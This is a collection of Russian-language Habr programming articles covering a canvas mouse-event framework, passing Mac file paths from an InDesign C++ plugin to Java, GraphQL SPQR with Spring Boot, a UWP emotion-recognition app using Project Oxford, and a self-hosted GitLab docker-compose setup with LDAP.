this.elements.forEach(function (el) {
el[i].hover = el[i].hasPoint(this.x, this.y)
}.bind(this));
},
fire: function (name, e) {
this.elements.forEach(function (el) {
if (el.hasPoint(this.x, this.y)) {
el.fireEvent(name, e);
}
}.bind(this));
}
});
// Добавляем мышь в конструктор:
window.CF = atom.Class({
initialize: function (canvas) {
[...]
this.mouse = new Mouse( this.canvas );
}
});
```
Теперь необходима обновлялка холста.
```
window.CF = atom.Class({
initialize: function (canvas) {
[...]
// 25 fps
this.update.periodical( 1000/25, this );
},
update: function (shapes) {
this.ctx.clearRect(0,0,this.canvas.width, this.canvas.height);
this.elements.invoke('draw');
}
});
```
Редактируем наш глобальный объект так, чтобы мы могли создавать элементы:
```
window.CF = atom.Class({
[...],
elements: [],
_shape: function (Class, args) {
var e = new Class(args[0], args[1]);
this.mouse.add( e );
this.elements.push( e );
e.cf = this;
return e;
},
circle: function (data, options) {
return this._shape(Circle, arguments);
},
rect: function (data, options) {
return this._shape(Rect, arguments);
}
})
```
Всё, создаём наше приложение:
```
var write = function (msg) {
atom.dom.create('p').text(msg).appendTo('body');
};
var cf = new CF('canvas');
cf.circle([50, 50, 10] , { fill: 'red' , hover : { fill: 'blue' } })
.addEvent('mousedown', write.bind( window, 'circle mousedown' ));
cf.rect ([10, 10, 20, 20], { fill: 'green', hover : { fill: 'blue' } })
.addEvent('mousedown', write.bind( window, 'rect mousedown' ));
```
[Результат](http://theshock.github.com/cf/index.html)
-----------------------------------------------------
Заключение
----------
На самом деле, за фреймворками заключается намного больше, чем описано в этой статье. К примеру, описанный пример будет рулить только на абсолютно спозиционированных холстах, также там есть куча оптимизаций, нюансов и т.д. Необходимо подстраивать fps под приложение, обновлять холст только при изменениях, обновлять статусы не при движениях мыши, а перед отрисовкой и т.д. Это тяжёлый и кропотливый труд. Лучше воспользоваться чем-то готовым, чем реализовывать их с нуля.
Между прочим, есть альтернативный путь — использование [map](http://htmlbook.ru/html/map) + [area](http://htmlbook.ru/html/area). У него есть свои преимущества, но и недостатки. Это трудности в синхронизации и, главное, невозможность реализации [более сложных фигур](http://libcanvas.github.com/ui/path.html).
Любители потроллить на тему SVG — удержитесь. Есть причины использовать Canvas. Более того этот топик — неплох в качестве обучения. Потому попрошу хотя бы в этот раз [обойтись без холивара](http://habrahabr.ru/blogs/javascript/114129/#comment_3678272). А то вы уже надоели | https://habr.com/ru/post/119773/ | null | ru | null |
# О том как я имя файла из С++ в Java передавал
В кроссплатформенных приложениях чего только не встретишь. Или напишешь. Вот, намедни ~~родили против шерсти очередного ежика~~ наступили на заботливо разложенных грабель, на сей раз под маком.
Напомню предыдущую серию саги: [грабли под Windows](http://habrahabr.ru/post/148068/).
То есть у нас все тот же экзотический еж + питон = колючая проволока. На сей раз ~~счастье привалило~~ нам попался сюрприз на маке. Java в InDesign интегрировали, работает, теперь надо имя файла передать нашему коду на Java написанному.
#### Темный рыцарь: начало
Начиналось все так обыденно:
```
void FooExpFilter::ExportToStream(
IPMStream* stream, IDocument* doc, IPMUnknown* targetboss,
const PMString& formatName, UIFlags uiFlags)
{
IDFile outputFile;
InterfacePtr fileData(stream, IID\_IFILESTREAMDATA);
outputFile = fileData->GetSysFile();
SDKFileHelper fh(outputFile);
PMString pathID = fh.GetPath();
WideString pathWID(pathID);
std::string xID;
StringUtils::ConvertWideStringToUTF8 (pathWID, xID);
```
и работало на маке и на Windows. Пока InDesign не дорос до версии CS5.5. И тут ~~счастье наступило~~ приехал в лог наш любимый и эпический **java.io.FileNotFoundException**.
#### Звездные войны: империя наносит ответный удар
**В сторону**: вот эти записи в лог «как бы чего не вышло» очень помогают, рекомендую. Если конечно логи с умом писать, а то (лично видел!) однажды от обилия логов получился performance degradation и «кодярник» (С) лог 40 секунд писал, а без лога полсекунды работает. Индусы постарались — написали свой log4j с блэкджеком но без буферизации.
Получаем лог от клиента, а там — **Macintosh HD::Foo::Bar**!
#### Приезжайте к нам в Простоквашино — если у вас нет бальных платьев
Быстрое гугление (как перевести карбоно-маковые пути в Unix) приводит к подробной инструкции, как переводить руками с учетом mount points. И applescript в качестве примера, что и в каком порядке у Finder спрашивать. Ага, ага — нам вот только ObjectiveC не хватало для полного счастья.
Хлебнув полведра кофе, и погрепав Adobe SDK, находим решение, достойное ithappens. Вот оно.
```
IDFile outputFile;
InterfacePtr fileData(stream, IID\_IFILESTREAMDATA);
outputFile = fileData->GetSysFile();
// URL for java
PMString pathJ = FileUtils::SysFileToFileURL(outputFile);
WideString pathWJ(pathJ);
std::string xj;
StringUtils::ConvertWideStringToUTF8 (pathWJ, xj);
```
и в Java появляются еще 3 строчки:
```
if(externFile.startsWith("file://")) {
File externFd = new File(new java.net.URI(externFile));
externFile = externFd.getAbsolutePath();
}
```
То есть, не найдя как передать путь, мы передали… URL!
И это даже работает.
**Disclaimer**: не откажусь от правильного примера — как перевести карбоновые пути в Unix без ObjectiveC. Хоть и неактуально, но интересно. Если оно вообще есть, а не «отрезать голову и поменять :: на /», неправильно я и сам умею.
#### Игры разума: как можно было сделать лучше
**Update 1**: [notorca](http://habrahabr.ru/users/notorca/) навел на мысль использовать маковую **CFURLCopyFileSystemPath**:
```
void FooExpFilter::ExportToStream(
IPMStream* stream, IDocument* doc, IPMUnknown* targetboss,
const PMString& formatName, UIFlags uiFlags)
{
IDFile outputFile;
InterfacePtr fileData(stream, IID\_IFILESTREAMDATA);
outputFile = fileData->GetSysFile();
#ifdef WINDOWS
SDKFileHelper fh(outputFile);
PMString pathID = fh.GetPath();
#endif
#ifdef MACINTOSH
FSSpec fsSpec;
PMString pathID;
OSErr err = FileUtils::IDFileToFSSpec(outputFile, fsSpec);
if (err == noErr) {
FSRef fsRef;
err = MacFileUtils::FSSpecToFSRef(fsSpec, fsRef);
if (err == noErr) {
CFURLRef appURL = ::CFURLCreateFromFSRef(NULL, &fsRef);
CFStringRef app\_str = ::CFURLCopyFileSystemPath(appURL, kCFURLPOSIXPathStyle);
if (app\_str) {
pathID.SetCFString(app\_str);
::CFRelease(app\_str);
}
if (appURL) ::CFRelease(appURL);
}
}
#endif
WideString pathWID(pathID);
std::string xID;
StringUtils::ConvertWideStringToUTF8 (pathWID, xID);
```
**Update 2**: А [strizh](http://habrahabr.ru/users/strizh/) дал еще одну подсказку — можно было использовать **FileUtils::FileURLToPosixPath**, в этом случае код становится таким:
```
IDFile outputFile;
InterfacePtr fileData(stream, IID\_IFILESTREAMDATA);
outputFile = fileData->GetSysFile();
#ifdef WINDOWS
SDKFileHelper fh(outputFile);
PMString pathID = fh.GetPath();
WideString pathWID(pathID);
std::string xfinal;
StringUtils::ConvertWideStringToUTF8 (pathWID, xfinal);
#endif
#ifdef MACINTOSH
PMString pathJ = FileUtils::SysFileToFileURL(outputFile);
WideString pathWJ(pathJ);
std::string xj;
StringUtils::ConvertWideStringToUTF8 (pathWJ, xj);
std::string xfinal = FileUtils::FileURLToPosixPath(xj);
#endif
```
Так что если через URL — то варианты есть. Без перехода path -> URL -> posix path пока подсказок не поступало (нет, я все еще не согласен тащить с собой кусок на ObjectiveC). | https://habr.com/ru/post/148115/ | null | ru | null |
# GraphQL + SPQR + Spring Boot Starter 2021
Привет, Хабр!
**GraphQL** — это язык запросов к API-интерфейсам. Он отображает предоставляемые сервером данные, чтобы клиент смог выбрать именно то, что ему нужно. GraphQL **SPQR** призван упростить добавление GraphQL API в *любой* Java-проект. SPQR работает динамически, генерируя схему GraphQL из кода Java, посредством аннотаций. Перейдем к самой сути!
### Настройка проекта / Зависимости
Добавьте следующие зависимости в ваш maven проект:
```
io.leangen.graphql
graphql-spqr-spring-boot-starter
0.0.6
com.graphql-java
graphiql-spring-boot-starter
5.0.2
```
Чтобы понять основные подходы `SpqrAutoConfiguration`регистрирует компонент для каждой из трех встроенных `ResolverBuilder`реализаций:
* `AnnotatedResolverBuilder`- предоставляет только методы, аннотированные `@GraphQLQuery`, `@GraphQLMutation`или`@GraphQLSubscription`
* `PublicResolverBuilder`- предоставляет все `public`методы из исходного класса операций (возвращаемые методы `void`считаются мутациями)
* `BeanResolverBuilder`- предоставляет все геттеры как запросы и сеттеры как мутации (возвращаемые геттеры `Publisher`считаются подписками)
Также возможно реализовать собственные, реализовав свой **ResolverBuilder** интерфейс.
Описание основных аннотаций SPQR
--------------------------------
[@GraphQLApi](/users/graphqlapi)- аналог контроллера, в котором определены Query и Mutation.
[@GraphQLQuery](/users/graphqlquery) - QUERY, аналог read запросов
[@GraphQLMutation](/users/graphqlmutation)- MUTATION, аналог create/delete/update запросов
Остальные аннотации будут описаны ниже.
Описание сущности
-----------------
Сущность банковский счет имеет номер счета (numberAccount), валюту (currency) и текущий счет (balance).
```
@Getter
@Setter
@Entity
@Table(name = "bank_account")
@FieldDefaults(level = AccessLevel.PRIVATE)
@NoArgsConstructor
public class BankAccountEntity {
@Id
String numberAccount;
Currency currency;
BigDecimal balance;
}
```
Опишем dto для работы с этой сущностью:
```
@Getter
@Setter
@FieldDefaults(level = AccessLevel.PRIVATE)
public class BankAccountDto {
@GraphQLId
String numberAccount;
@NotNull
@GraphQLScalar
@GraphQLInputField
Currency currency;
@NotNull
@GraphQLInputField
BigDecimal balance;
}
```
Здесь аннотация [@GraphQLInputField](/users/graphqlinputfield) говорит GraphQL, что текущее поле будет полем для обновления или ввода. Попрошу заметить, что у поля currency стоит аннотация [@GraphQLScalar](/users/graphqlscalar) - один из способов реализовать сложный скаляр.
```
package ru.bank.web.dataFetcher;
import io.leangen.graphql.annotations.GraphQLArgument;
import io.leangen.graphql.annotations.GraphQLMutation;
import io.leangen.graphql.annotations.GraphQLNonNull;
import io.leangen.graphql.annotations.GraphQLQuery;
import io.leangen.graphql.spqr.spring.annotations.GraphQLApi;
import lombok.RequiredArgsConstructor;
import org.springframework.data.domain.Pageable;
import org.springframework.stereotype.Component;
import ru.bank.business.service.BankAccountService;
import ru.bank.web.dto.BankAccountDto;
import ru.bank.web.dto.DispatchMoneyDto;
import java.util.List;
@RequiredArgsConstructor
@Component
@GraphQLApi
public class BankAccountDataFetcher {
private final BankAccountService service;
@GraphQLQuery(name = "getAllBalance")
public List getAll(@GraphQLArgument(name = "page")Pageable pageable) {
return service.getAll(pageable);
}
@GraphQLMutation(name = "createBankAccount", description = "create a new bank account")
public BankAccountDto createBankAccount(@GraphQLArgument(name = "createBankAccountInput") @GraphQLNonNull BankAccountDto bankAccount) {
return service.create(bankAccount);
}
@GraphQLMutation(name = "dispatchMoney", description = "dispatch money")
public void dispatchMoney(@GraphQLArgument(name = "createDispatchMoneyInput") @GraphQLNonNull DispatchMoneyDto dispatchMoneyDto) {
service.dispatchMoney(dispatchMoneyDto);
}
@GraphQLMutation(name = "removeBankAccount", description = "remove bank account")
public void removeBankAccount(@GraphQLNonNull String numberAccount) {
service.remove(numberAccount);
}
}
```
Параметр аннотации [@GraphQLMutation](/users/graphqlmutation) name - указывает имя метода для GraphQL, а description - соответственно описание метода для graphiql
Отправка запросов
-----------------
Отправка Query с пагинацией для получения данных по аккаунтамОтправка Mutation для удаления аккаунта по ключуОтправка Mutation для создания нового аккаунтаОстальной код можно посмотреть, перейдя по ссылке: <https://github.com/gibkin/graphql-sqpr-spring-boot-starter> | https://habr.com/ru/post/594335/ | null | ru | null |
# Распознаем эмоции в приложении UWP с помощью API Project Oxford
[](http://habrahabr.ru/post/276411/)
Скорее всего, вы слышали хоть раз про необычный облачный сервис от Microsoft, который позволяет распознавать по фотографии эмоции человека.
Сервис распознавания эмоций наряду с другими известными и пока что малоизвестными широкой публике сервисами распознавания лиц, речи и текста входит в проект под названием [Oxford](https://www.projectoxford.ai/).
Попробовать самостоятельно распознать эмоции вы можете по следующей ссылке: [Emotion Recognition](https://www.projectoxford.ai/demo/emotion)
Доступно 8 эмоций: Счастье, Грусть, Страх, Нейтральность, Гнев, Отвращение, Презрение, Удивление.
Предлагаю вам создать C#/XAML приложение Windows 10, которое будет использовать API и распознавать эмоции по снимку с камеры.
Первым делом скачиваем SDK с [сайта](https://www.projectoxford.ai/SDK).
Находим в папке Emotion проект ClientLibrary.
Открываем его и строим. Во время построения восстанавливаются ссылки. Если ссылки не восстановились и возник запрос установить недостающие пакеты из NuGet, то устанавливаем вручную. Закрываем этот проект. Создаем проект универсального приложения Windows. Добавляем проект ClientLibrary в решение нашего UWP приложения, после чего добавляем ссылку на него (ссылку на проект Microsoft.ProjectOxford.Emotion). Строим решение.
Теперь нам необходимо получить ключ подписчика. Вы можете активировать бесплатную подписку под названием «Emotion API – Free», которая имеет следующие ограничения: 20 распознаваний в минуту и 10000 распознаваний в месяц.
Заходим на сайт [проекта](https://www.projectoxford.ai), входим с аккаунтом Microsoft, переходим на страницу [Emotion APIs](https://www.projectoxford.ai/emotion) и нажимаем на кнопку «Try for free», после чего переходим на страницу подписок. Здесь нажимаем «Request New Keys» и выбираем подписку «Emotion API – Free». В результате получаем страницу на которой можем получить Primary Key. Без него приложение создать не получится.
Открываем приложение UWP и добавляем в манифест следующие возможности: Интернет (клиент и сервер), Веб-камера. Добавить можно как в графическом редакторе, так и через код, используя следующие тэги:
```
```
Добавляем XAML разметку в MainPage:
```
```
Так как не факт, что на экране устройства уместится все содержимое страницы, то я поместил его в ScrollViewer, чтобы можно было прокрутить при необходимости. В качестве содержимого выступают 2 кнопки и Grid, внутри которого наложены друг на друга 2 элемента – Image и CaptureElement. То есть одновременно может быть виден только один из них. Для того чтобы была возможность показать пользователю, что идет обработка данных, добавлен элемент ProgressRing.
Теперь перейдем к коду C#. Для того, чтобы каждый раз не упоминать пространства имен вынесем их:
```
using System.Threading.Tasks;
using Windows.Media.Capture;
using Windows.UI.Xaml.Media.Imaging;
using Windows.Media.MediaProperties;
using Windows.Storage.Streams;
using Microsoft.ProjectOxford.Emotion;
using Microsoft.ProjectOxford.Emotion.Contract;
```
Добавим переменные области видимости класса:
```
MediaCapture mediaCapture;
bool isPreviewing = false;
Emotion[] emotionResult;
public System.Collections.ObjectModel.ObservableCollection emo =
new System.Collections.ObjectModel.ObservableCollection();
```
С помощью элемента mediaCapture мы будем снимать видео и отображать preview. Переменная isPreviewing будет хранить текущее состояние просмотра. Массив элементов класса Emotion необходим для получения данных с сервиса. Потом первый элемент этого массива мы добавим в ObservableCollection. ObservableCollection нужна для того, чтобы была возможность привязать данные к элементам страницы. Привязывать данные к коллекции такого типа гораздо проще, чем привязывать к массиву.
Добавим в XAML страницу атрибут Loaded и реализуем событие, которому добавим атрибут async (так как инициализация объекта mediaCapture происходит асинхронно):
```
private async void Page_Loaded(object sender, RoutedEventArgs e)
{
MediaCaptureInitializationSettings set = new MediaCaptureInitializationSettings();
set.StreamingCaptureMode = StreamingCaptureMode.Video;
mediaCapture = new MediaCapture();
await mediaCapture.InitializeAsync(set);
}
```
Так как мы не добавляли в манифест приложения возможность использования микрофона, то режимом захвата mediaCapture нужно установить только захват картинки StreamingCaptureMode.Video.
В коде XAML у нас 2 кнопки. Добавим реализацию события клика для одной из них:
```
private async void btnStartPreview_Click(object sender, RoutedEventArgs e)
{
if (isPreviewing == false)
{
previewElement.Source = mediaCapture;
await mediaCapture.StartPreviewAsync();
isPreviewing = true;
}
previewElement.Visibility = Visibility.Visible;
}
```
Здесь все должно быть понятно – показываем картинку с камеры в элементе previewElement. Опять же, добавляем async к событию, так как оно содержит асинхронную операцию. Перед тем как реализуем событие нажатия на вторую кнопку, хочу напомнить, что результат у нас будет в коллекции emo. Эту коллекцию мы привяжем к нашему XAML в такой вот разметке:
**Длинный однотипный XAML код с биндингами**
```
Happiness
Anger
Contempt
Disgust
Fear
Neutral
Sadness
Surprise
```
8 однотипных пар элементов внутри Grid-а. Значения ProgressBar-ов привязано с помощью {Binding Scores.Surprise} к значению коллекции emo.
Теперь давайте разберем по шагам код события btnTakePhoto\_Click
Первым делом блокируем кнопки и считываем картинку с потока камеры, после чего отображаем картинку пользователю и скрываем предпросмотр видео. В переменную st получаем поток, который необходимо будет отправить сервису на анализ:
```
btnTakePhoto.IsEnabled = false;
btnStartPreview.IsEnabled = false;
InMemoryRandomAccessStream stream = new InMemoryRandomAccessStream();
await mediaCapture.CapturePhotoToStreamAsync(ImageEncodingProperties.CreateJpeg(), stream);
stream.Seek(0); // текущую позицию потока устанавливаем в 0
BitmapImage bitmap = new BitmapImage();
bitmap.SetSource(stream);
captureImage.Source = bitmap;
stream.Seek(0); // еще раз перегоняем позицию потока в 0
Stream st = stream.AsStream(); // из InMemoryRandomAccessStream получаем System.IO.Stream
if (isPreviewing == true) await mediaCapture.StopPreviewAsync();
isPreviewing = false;
previewElement.Visibility = Visibility.Collapsed;
```
Отправляем поток и получаем результат (асинхронно, разумеется):
```
progring.IsActive = true;
try
{
EmotionServiceClient emotionServiceClient =
new EmotionServiceClient("12345678901234567890123456789012");
emotionResult = await emotionServiceClient.RecognizeAsync(st);
}
catch { }
progring.IsActive = false;
```
Здесь вместо «12345678901234567890123456789012» указываем свой ключ, который получили ранее на сайте.
Далее считываем результат (если он есть) в коллекцию emo и активируем кнопочки:
```
if ((emotionResult != null) && (emotionResult.Length > 0))
{
emo.Clear();
emo.Add(emotionResult[0]);
this.DataContext = emo.ElementAt(0);
}
btnStartPreview.IsEnabled = true;
btnTakePhoto.IsEnabled = true;
```
После того, как DataContext будет установлен в первый элемент коллекции emo, значения ProgressBar-ов обновится автоматически. Кстати, обратите еще раз внимание, что в данном случае мы используем только первый элемент массива. Лиц на фото может быть несколько и соответственно элементов в массиве emotionResult[0] тоже несколько. Кроме эмоций, содержащихся в Score, массив содержит еще и параметры координат/размера лиц класса Rectangle.
Приложение готово. Можно ~~подавать к столу~~ добавлять функционал, стили, настраивать на свой вкус и использовать в своих проектах.
Исходник доступен на [GitHub](https://github.com/programmersommer/Project_Oxford_Emotions_UWP).
Я опробовал приложение в действии и вот что у меня получилось:
Кстати, есть альтернатива сохранять снимок с камеры в файл вот таким образом:
```
// в манифесте необходимо разрешение на библиотеку изображений
Windows.Storage.StorageFile photoFile = await Windows.Storage.KnownFolders.PicturesLibrary.CreateFileAsync(
"lastphoto.jpeg", Windows.Storage.CreationCollisionOption.ReplaceExisting);
await mediaCapture.CapturePhotoToStorageFileAsync(ImageEncodingProperties.CreateJpeg(), photoFile);
IRandomAccessStream photoStream = await photoFile.OpenReadAsync();
BitmapImage bitmap = new BitmapImage();
bitmap.SetSource(photoStream);
captureImage.Source = bitmap;
photoStream.Seek(0); // еще раз перегоняем позицию потока в 0
Stream st = photoStream.AsStream(); // из IRandomAccessStream получаем System.IO.Stream
```
На основании этого примера легко написать код, который будет открывать файл, сохраненный на устройстве, и отправлять его на сервис определения эмоций.
Сервис экспериментальный и не всегда гарантируется точное распознавание. Для людей, которые установят приложение на телефон или планшет, хочу заметить, что лицо должно быть на фотографии в нормальном вертикальном положении. Если вы снимете фотографию под углом 90 градусов, то ваши эмоции распознаны не будут.
Какие идеи приложения у меня сразу возникли? Можно сделать аналитику степени удовлетворения покупателя (блэкджеком?). Можно использовать оценку эмоций в качестве варианта голосования (за самый смешной анекдот, за самую красивую девушку или фотографию и т.п.). Как вариант — сделать игру в которой нужно изобразить нужную эмоцию или создать тренажер для артистов. Возможно, вам в голову придет какая-то забавная или серьезная идея использования Oxford Emotions API.
Сервис облачный и кроссплатформенный, поэтому можно разрабатывать приложения не только под UWP. В Microsoft Garage даже разработали Android приложение под названием [Mimicker Alarm](https://www.microsoft.com/en-us/garage/workbench-apps-details/Mimicker-Alarm/MimickerAlarm.aspx), которое выключит звонок будильника только в случае если вы изобразите необходимую эмоцию.
Хотя мне, например, было бы сложно изобразить счастье в 6 утра. | https://habr.com/ru/post/276411/ | null | ru | null |
# GitLab в NAS
При наличии [работоспособного NAS с докером](https://habr.com/post/415779/), установка Gitlab не представляет особых сложностей.
Эта статья является лишь наглядным примером в рамках цикла про NAS. И показывает как просто возможно манипулировать сервисами, на уже готовой платформе, даже построенной самостоятельно, без команды разработчиков, специально подогнанных ОС и магазинов приложений.
Почему Gitlab?
--------------
Существует несколько систем для управления Git-репозиториями.
**Из них достаточно зрелыми являются...*** [Bitbucket](https://bitbucket.org) — платная и закрытая система, хотя и популярная в корпоративном секторе. Предполагается интеграция с другими продуктами Atlassian, которые я не использую. Реализован на Java. Не особенно подходящее решение, особенно учитывая политику, что платить надо всё, даже за плагины (хотя есть и бесплатные).
* [Gogs](https://gogs.io/) — система, похожая на Gitlab. Реализована на Go. Когда я последний раз смотрел на её возможности, там не было возможности ревью кода. Да и вообще отстаёт по функционалу от Gitlab, т.к. система намного более новая:
+ Легковесен.
+ По интерфейсу похож на Github.
+ Управление пользователями.
+ Баг-трэкер.
+ Wiki.
+ **Нет ревью кода.**
+ Поддержка Git хуков.
+ Доступ по HTTPS/SSH.
+ Реализован на Go.
+ [Есть форк Gitea](https://github.com/go-gitea/gitea).
+ Имеется LDAP плагин.
* [Gitea](https://gitea.io/en-us/) — форк Gogs. Имеет то, чего не хватает в Gogs:
+ Code review.
+ Хранилище для больших файлов.
+ Метки.
+ Доработанный поиск.
+ Прогресс задач с чекбоксами.
+ LDAP тоже поддерживается.
* [Kallithea](https://kallithea-scm.org/repos/) — форк RhodeCode.
+ Очень развитое управление пользователями и группами.
+ Синхронизация с удалёнными репозиториями.
+ Баг-трэкер.
+ Wiki.
+ Есть ревью кода.
+ Поддержка Git хуков.
+ Доступ по HTTPS/SSH.
+ Реализован на Python.
+ Интегрируется с LDAP.
+ Есть образ Docker.
* [Phacility](https://www.phacility.com/) — система от Facebook. Функционал широкий, есть не только ревью, но даже система управления задачами и проектами. Подробно я её не рассматривал.
* [Gerrit](https://ru.wikipedia.org/wiki/Gerrit) — предназначен, в основном для обсуждения и ревью кода, с некоторым функционалом для управления репозиториями.
* [Sr.ht](https://meta.sr.ht/) — порекомендовали [в комментариях](https://habr.com/post/418883/#comment_19568348). Судя по всему, функционал достаточно широкий. Но система пока в стадии активной разработки.
С Gitlab я работал до этого, кроме того, он имеет встроенный функционал CI, что в будущем мне пригодится. Система зрелая, по ней есть много документации, и за годы разработки Gitlab оброс множеством возможностей. Потому, я его и выбрал.
Общие настройки
---------------
Я использую [образ Gitlab от sameersbn](https://github.com/sameersbn/docker-gitlab).
В [`docker-compose.yml`](https://github.com/artiomn/NAS/blob/master/docker/services/gitlab/docker-compose.yml) (файл также приведён в конце статьи) надо изменить следующие переменные:
* `DB_PASS` — пароль на базу данных Gitlab. Должен совпадать с паролем в контейнере `postgresql`.
* `GITLAB_SECRETS_DB_KEY_BASE`, `GITLAB_SECRETS_SECRET_KEY_BASE`, `GITLAB_SECRETS_OTP_KEY_BASE` — базовые значения для генерации ключей.
* `GITLAB_ROOT_EMAIL` — e-mail администратора.
* `GITLAB_ROOT_PASSWORD` — пароль администратора по умолчанию, который в дальнейшем возможно поменять из Web-интерфейса.
* `GITLAB_EMAIL`, `GITLAB_EMAIL_REPLY_TO`, `GITLAB_INCOMING_EMAIL_ADDRESS` — адреса для почтовых оповещений.
* `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS` — настройки SMTP для почтовых оповещений.
* `IMAP_HOST`, `IMAP_PORT`, `IMAP_USER`, `IMAP_PASS` — Gitlab может не только отправлять почту, но и забирать по IMAP. Ему возможно делать запросы по e-mail.
Настройка LDAP
--------------
Для того, чтобы пользователи NAS могли входить в Gitlab, ему надо предоставить сервер LDAP, как провайдер авторизации.
Обратите внимание, что когда LDAP настроен, при входе в Gitlab будет две вкладки: LDAP и Standard.
Администратор сможет войти только на вкладке Standard, потому что он зарегистрирован локально, а пользователи только на вкладке LDAP.
Локальная регистрация администратора полезна на случай, если пропадёт связь с LDAP сервером.
[](https://habrastorage.org/webt/c6/yp/ea/c6ypeavhmm3okm_fwgzrpofdzi0.png)
Это легко делается установкой переменных в конфигурационном файле docker-compose:
* `LDAP_ENABLED=true` — включение LDAP авторизации.
* `LDAP_HOST=172.21.0.1` — адрес LDAP сервера.
* `LDAP_PORT=389` — порт.
* `LDAP_METHOD=plain` — метод доступа без шифрования, т.к. LDAP сервер внутри сети хоста. Также возможно использовать StartTLS.
* `LDAP_UID=uid` — поле UID пользователя. В случае OpenLDAP, в той конфигурации, которая была настроена, — это `uid`.
* `LDAP_BIND_DN=cn=admin,dc=nas,dc=nas` — пользователь и домен, под которыми Gitlab авторизуется на LDAP сервере.
* `LDAP_PASS=` — пароль для пользователя LDAP, под которым Gitlab авторизуется на LDAP сервере.
* `LDAP_BLOCK_AUTO_CREATED_USERS=false` — пользователь LDAP появится в Gitlab после его первого захода. Если тут установлено `true`, он будет заблокирован. Разблокировать его сможет администратор.
* `LDAP_BASE=ou=users,dc=nas,dc=nas` — это базовый адрес, по которому находятся аккаунты пользователей.
* `LDAP_USER_FILTER=memberOf=cn=users_code,ou=groups,dc=nas,dc=nas` — фильтр. Тут указывается, что я хочу получать только членов группы `users_code`.
* `LDAP_ALLOW_USERNAME_OR_EMAIL_LOGIN=true` — разрешить пользователю заходить не только по UID, но и по e-mail.
Обратите внимание на параметр `LDAP_USER_FILTER`. В [предыдущей статье](https://habr.com/post/421279/) были введены группы пользователей в LDAP, и данный параметр разрешает доступ в Gitlab только пользователям, состоящим в группе `users_code`.
Gitlab CI
---------
Настройка CI подробно не раз описана в [статьях](https://habr.com/company/southbridge/blog/306596/) и [документации Gitlab](https://docs.gitlab.com/ee/ci/). Повторяться смысла нет.
Если очень кратко, всё что надо сделать:
* Зайти на страницу агентов сборки: <https://git.NAS.cloudns.cc/admin/runners> и скопировать:
+ Адрес (<https://git.NAS.cloudns.cc/>).
+ Токен.
* Зарегистрировать агент. Адрес и токен он попросит в процессе регистрации.
Регистрация производится следующей командной:
```
docker-compose exec gitlab-runner /entrypoint register
```
Про то, какие бывают агенты в Gitlab, возможно почитать [в документации](https://docs.gitlab.com/runner/executors/README.html).
Docker Registry я не включал, потому что он мне не требуется. О том, что это такое и зачем нужно, читайте на [сайте Gitlab](https://about.gitlab.com/2016/05/23/gitlab-container-registry/).
Ниже под спойлером приведён конфигурационный файл для Gitlab, который также [доступен в репозитории](https://github.com/artiomn/NAS/tree/master/docker/services/gitlab).
**/tank0/docker/services/gitlab/docker-compose.yml**
```
# https://github.com/sameersbn/docker-gitlab
version: '2'
networks:
gitlab:
docker0:
external:
name: docker0
services:
redis:
restart: always
image: sameersbn/redis:latest
command:
- --loglevel warning
networks:
- gitlab
volumes:
- /tank0/apps/gitlab/redis:/var/lib/redis:Z
postgresql:
restart: always
image: sameersbn/postgresql:9.6-2
volumes:
- /tank0/apps/gitlab/postgresql:/var/lib/postgresql:Z
networks:
- gitlab
environment:
- DB_USER=gitlab
- DB_PASS=
- DB\_NAME=gitlabhq\_production
- DB\_EXTENSION=pg\_trgm
# plantuml:
# restart: always
# image: plantuml/plantuml-server
# image: plantuml/plantuml-server:jetty
# ports:
# - "127.0.0.1:9542:8080"
# ports:
# - "plantuml:8080:8080"
# expose:
# - 8080
# networks:
# - gitlab
gitlab:
restart: always
image: sameersbn/gitlab:10.6.3
depends\_on:
- redis
- postgresql
ports:
- "11022:22"
expose:
- 443
- 80
- 22
volumes:
- /tank0/apps/repos:/home/git/data/repositories:Z
- /tank0/apps/repos/system/backup:/home/git/data/backups:Z
- /tank0/apps/repos/system/builds:/home/git/data/builds:Z
- /tank0/apps/repos/system/lfs-objects:/home/git/data/shared/lfs-objects:Z
- /tank0/apps/repos/system/public:/uploads/-/system:Z
- /tank0/apps/gitlab/logs:/var/log/gitlab
- /tank0/apps/gitlab/gitlab:/home/git/data:Z
networks:
- gitlab
- docker0
environment:
- "VIRTUAL\_HOST=git.\*,gitlab.\*"
- VIRTUAL\_PORT=443
- VIRTUAL\_PROTO=https
- CERT\_NAME=NAS.cloudns.cc
- DEBUG=false
# Default: 1
- NGINX\_WORKERS=2
# Default: 3
- UNICORN\_WORKERS=3
# Default: 25
- SIDEKIQ\_CONCURRENCY=10
- DB\_ADAPTER=postgresql
- DB\_HOST=postgresql
- DB\_PORT=5432
- DB\_USER=gitlab
- DB\_PASS=
- DB\_NAME=gitlabhq\_production
- REDIS\_HOST=redis
- REDIS\_PORT=6379
- TZ=Europe/Moscow
- GITLAB\_TIMEZONE=Moscow
- GITLAB\_HTTPS=true
- SSL\_SELF\_SIGNED=true
#- SSL\_VERIFY\_CLIENT=true
- NGINX\_HSTS\_MAXAGE=2592000
- GITLAB\_HOST=git.NAS.cloudns.cc
#- GITLAB\_PORT=11443
- GITLAB\_SSH\_PORT=11022
- GITLAB\_RELATIVE\_URL\_ROOT=
- GITLAB\_SECRETS\_DB\_KEY\_BASE=
- GITLAB\_SECRETS\_SECRET\_KEY\_BASE=
- GITLAB\_SECRETS\_OTP\_KEY\_BASE=
- GITLAB\_SIGNUP\_ENABLED=false
# Defaults to 5iveL!fe.
- GITLAB\_ROOT\_PASSWORD=
- GITLAB\_ROOT\_EMAIL=root@gmail.com
- GITLAB\_NOTIFY\_ON\_BROKEN\_BUILDS=true
- GITLAB\_NOTIFY\_PUSHER=false
- GITLAB\_EMAIL=GITLAB@yandex.ru
- GITLAB\_EMAIL\_REPLY\_TO=noreply@yandex.ru
- GITLAB\_INCOMING\_EMAIL\_ADDRESS=GITLAB@yandex.ru
- GITLAB\_BACKUP\_SCHEDULE=daily
- GITLAB\_BACKUP\_TIME=01:00
- GITLAB\_MATTERMOST\_ENABLED=true
- GITLAB\_MATTERMOST\_URL=""
- SMTP\_ENABLED=true
- SMTP\_DOMAIN=www.example.com
- SMTP\_HOST=smtp.yandex.ru
- SMTP\_PORT=25
- SMTP\_USER=GITLAB@yandex.ru
- SMTP\_PASS=
- SMTP\_STARTTLS=true
- SMTP\_AUTHENTICATION=login
- IMAP\_ENABLED=true
- IMAP\_HOST=imap.yandex.ru
- IMAP\_PORT=993
